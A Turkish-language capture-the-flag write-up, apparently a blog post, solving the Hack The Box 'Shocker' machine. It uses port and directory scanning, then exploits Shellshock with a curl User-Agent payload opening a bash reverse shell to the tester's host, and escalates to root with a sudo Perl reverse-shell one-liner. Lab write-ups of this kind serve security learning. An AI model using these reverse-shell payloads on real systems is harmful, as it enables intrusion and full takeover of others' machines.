Hack The Box — Shocker

Burcu YARAR
4 min readApr 2, 2020

--

Port Tarama

Full Port Tarama

Hedef sistem üzerinde ilk olarak full port tarama işlemi gerçekleştirilir.

nmap -p- — open -vvv -oN fullportscan 10.10.10.56

Gerçekleştirilen full port tarama işlemi sonrası açık olduğu tespit edilen portlar aşağıdaki gibidir;

80/tcp2222/tcp

Versiyon Tarama

Açık olduğu tespit edilen portlar üzerindeki servislerin varlığını tespit etmek için versiyon taraması gerçekleştirilir.

nmap -p 80, 2222 -sV -sC -vvv -oN versionscan 10.10.10.56

Bilgi Toplama

Port 80

Her zamanki gibi ilk olarak açık olarak tespit edilen HTTP portu tarayıcı üzerinden kontrol edilebilir. Karşılaşılan sayfaya ait ekran görüntüsü aşağıda verilmiştir.

Bilgi toplama işlemi esnasında sayfa kaynağı incelenebilir.

Ardından “nikto” aracı ile zafiyet tarama işlemi gerçekleştirilebilir.

nikto — host=http://10.10.10.56/

Gerçekleştirilen zafiyet tarama işlemi sonrası herhangi birşey elde edilememiştir.

Daha sonra “dirb” aracı ile dizin tarama işlemi gerçekleştirilmiştir.

dirb http://10.10.10.56/

Tespit edilen dizinleri incelediğimizde burada “/cgi-bin” dizini dikkat çekmektedir. “/cgi-bin” dizini var olduğu tespit edilmiş ilgili dizin adına daha öncesinden yayınlanmış bir zafiyet var olduğundan ilgili dizin altında dizin tarama işlemleri gerçekleştirilebilir. CGI (Common Gateway Interface) web sunucuları için programların konsol uygulamaları gibi çalıştırılmasını sağlayan bir standart bulunur. Bu tür programlara CGI scriptleri denilir ve bu scriptler “/cgi-bin” dizini altında bulunur. Bununla beraber CGI’a ait detaylara ve tetiklediği zafiyete (shellshock) ait detaylara aşağıdaki yazı üzerinden ulaşabilirsiniz.

“dirb” aracı kullanılarak daha kapsamlı bir dizin tarama işlemi gerçekleştirmek için kendi belirlediğimiz wordlist ile “/cgi-bin/” dizini altında gerçekleştirdiğimiz dizin tarama işlemine ait detaylar aşağıda verilmiştir.

dirb http://10.10.10.56/cgi-bin/ -x /usr/share/wordlists/dirb/extension-common.txt

Gerçekleştirilen dizin tarama işlemi sonrası karşımıza “user.sh” dosyası çıkmıştır. İlgili dosyanın içeriği kontrol edilebilir.

Dosyanın içeriği kontrol edildiğinde bash’te çalışan bir script dosyası olduğu gözlemlenmektedir. Ardından “/cgi-bin/” dizini ve altındaki dosyanın tespit edilmesiyle ilgili uygulama üzerinde “Shellshock” zafiyeti nin varlığından şüphe edilmiştir. Daha sonra söz konusu zafiyeti istimar etmek için yöntemler araştırılmıştır. Zafiyet için Metasploit’te bir exploit modülü bulunduğu gözlemlenmiştir. İlgili modül bilgisi aşağıda verilecektir ancak bu makale için manuel olarak çözüm gerçekleştirilecektir.

Zafiyetin İstismarı

Manuel

Hedef sistemden reverse shell almak için gerçekleştirilen isteğe ait komut aşağıdaki gibidir;

curl -H ‘User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.14.20/7070 0>&1’ http://10.10.10.56/cgi-bin/user.sh

Diğer yandan bir dinleyici başlatılır;

nc -lvp 7070

Yukarıdaki ekran görüntüsünde de görüleceği üzere hedef sistem üzerindeki “shellshock” zafiyeti var olduğundan ilgili zafiyet istismar edilerek reverse shell elde edilebilmiştir.

Hedef sistem üzerinde oturum elde edildikten sonra “user.txt” dosyasının içeriğinin okunmasına ait ekran görüntüsü aşağıda verilmiştir.

Exploit-DB

Exploit;

Kullanımı;

python shellshock.py payload=reverse rhost=10.10.10.56 lhost=10.10.14.20 lport=7070 pages=/cgi-bin/user.sh

Metasploit Modülü

Modül;

exploit/multi/http/apache_mod_cgi_bash_env_exec

Yetki Yükseltme

Bu aşamada hedef sistem üzerindeki yetkileri yükseltmek için ilk “sudo” hakları kontrol edilebilir. Bunun için aşağıdaki komut kullanılabilir.

sudo -l

Kullanılan komut sonrası hedef sistem üzerinde “/usr/bin/perl” uygulamasının herhangi bir parola gerekmeksizin “root” hakları ile çalıştırılabileceği gözlemlenmiştir.

Ardından aşağıdaki komut ile “/usr/bin/perl” uygulaması çalıştırılarak hedef sistem üzerinde “root” haklarında oturum elde edilmiştir.

sudo perl -e ‘use Socket;$i=”10.10.14.20";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’

Gerçekleştirilen yetki yükseltme işlemi sonrası “root.txt” dosyasının içeriğinin okunmasına ait ekran görüntüsü aşağıda verilmiştir.

💃🥂

--

--

Burcu YARAR
Burcu YARAR

Written by Burcu YARAR

Passionate Cyber Security Expert #member @SynackRedTeam #pentesting #cybersecurity #offensivesecurity #applicationsecurity | https://linktr.ee/brcyrr

No responses yet